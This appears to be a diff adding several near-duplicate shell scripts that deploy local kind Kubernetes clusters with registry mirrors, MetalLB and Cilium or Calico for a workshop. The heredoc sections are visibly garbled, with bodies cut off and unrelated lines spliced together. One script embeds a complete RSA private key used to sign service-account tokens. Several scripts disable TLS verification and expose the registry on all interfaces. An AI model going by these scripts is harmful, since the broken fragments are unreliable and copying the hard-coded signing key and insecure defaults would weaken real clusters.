--context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 